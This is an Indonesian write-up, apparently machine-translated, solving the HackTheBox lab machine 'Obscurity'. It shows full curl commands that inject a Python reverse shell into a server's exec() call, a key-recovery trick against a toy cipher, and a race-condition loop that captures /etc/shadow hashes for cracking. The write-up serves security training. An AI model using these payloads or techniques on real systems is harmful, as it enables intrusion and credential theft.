HackTheBox. Passage of Obscurity. Injeksi Perintah OS dan Kondisi Ras

gambar

Saya terus menerbitkan solusi yang dikirim untuk diproses lebih lanjut dari situs HackTheBox .

Pada artikel ini, kami mengeksploitasi kerentanan dalam kode python dan juga melakukan serangan Kondisi Balap.

Koneksi ke laboratorium adalah melalui VPN. Dianjurkan untuk tidak terhubung dari komputer kerja atau dari host di mana data penting bagi Anda tersedia, karena Anda masuk ke jaringan pribadi dengan orang-orang yang mengetahui sesuatu di bidang keamanan informasi :)

Informasi Organisasi
, , Telegram . , , .

. , - , .

Recon


Mesin ini memiliki alamat IP 10.10.10.168, yang saya tambahkan ke / etc / hosts.

10.10.10.168    obscurity.htb

Pertama, kami memindai port terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, saya akan melakukan ini dengan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500

gambar

Sekarang, untuk informasi lebih rinci tentang layanan yang beroperasi pada port, kami akan menjalankan pemindaian dengan opsi -A.

nmap -A obscurity.htb -p22,8080

gambar

Tuan rumah menjalankan layanan SSH dan server web. Kami pergi menonton web.

gambar

Jadi, kami memiliki:

  1. Server Perekaman
  2. Enkripsi digunakan
  3. Kode server dalam file SuperSecureServer.py di beberapa direktori yang tidak diketahui.

Karena kita tahu nama file, mari kita pergi melalui direktori. Mari kita lakukan dengan wfuzz. Sebagai parameter, kami meneruskan kamus, URL, dan kode respons untuk diabaikan.

wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404

gambar

Dan kami menemukan direktori ini. Mari unduh kode server.

wget http://obscurity.htb:8080/develop/SuperSecureServer.py

Titik masuk


Kami membuka dan menganalisis server. Kami menemukan kemungkinan penggunaan fungsi exec () yang berbahaya.

gambar

Mari menambahkan beberapa baris ke kode.

gambar

Jadi kita dapat memulai server secara lokal dan melihat apa yang masuk ke fungsi exec (). Mari kita mulai server dan mengirim permintaan.

curl http://127.0.0.1:33333/asd

gambar

curl "http://127.0.0.1:33333/asd'"

gambar

curl "http://127.0.0.1:33333/asd''"

gambar

Jadi, kami memiliki injeksi Perintah OS.

curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"

gambar

Kami akan menggunakan shell python terbalik berikut.

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Karena kode server sudah berisi impor modul yang diperlukan, kami menghapus impor mereka dari shell. Kami juga luput dari tanda kutip dan tanda kurung.

curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

gambar

Baik! Semuanya berfungsi pada mesin lokal. Mari kita jalankan permintaan ini ke server.

curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

gambar

Kami memiliki titik masuk.

PENGGUNA


Kami melihat-lihat di server dan menemukan file yang dapat dibaca di direktori home pengguna.

gambar

Kami membaca file.

gambar

Dengan demikian, file-file tersebut dienkripsi. Unduh semua yang kami berikan kepada tuan rumah lokal. Seperti yang dinyatakan dalam pesan, file check.txt dienkripsi, dan hasilnya di out.txt. Mari kita lihat algoritma.

gambar

Dengan demikian, selama enkripsi, penambahan simbol teks dan simbol kunci modulo 255 terjadi.Ketika mendekripsi, simbol-simbol ini dikurangi.

Yaitu, ([check.txt] + [key])% 255 = out.txt dan ([out.txt] - [key])% 255 = check.txt. Kemudian ([out.txt] - [check.txt])% 255 = kunci.

gambar

gambar

Dan lihat kuncinya.

gambar

Dan sekarang pada kunci ini kita mendekripsi kata sandi pengguna.

gambar

Kami terhubung melalui SSH dengan kata sandi ini dan mengambil bendera pengguna.

gambar

AKAR


Mari kita lihat pengaturan sudo, yaitu, apakah pengguna robert dapat menjalankan perintah apa pun di bawah sudo tanpa kata sandi.

gambar

Mari kita lihat kodenya. Kode akan membutuhkan data otentikasi. Kemudian ia menyalin isi file / etc / shadow ke direktori / tmp / SSH / *. Kemudian akan memverifikasi data otentikasi dan menghapus file.

gambar

gambar

Jadi, kita harus mengatur untuk menyalin file dari / tmp / SSH / * sebelum dihapus. Jalankan terminal kedua dan jalankan siklus baca tanpa akhir di dalamnya.

for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done

Sekarang jalankan program, masukkan data apa saja dan lihat hash.

sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

gambar

Dan mereka mudah patah.

gambar

Kami mengambil bendera root.

gambar

Anda dapat bergabung dengan kami di Telegram . Di sana Anda dapat menemukan materi yang menarik, kursus yang digabungkan, serta perangkat lunak. Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

All Articles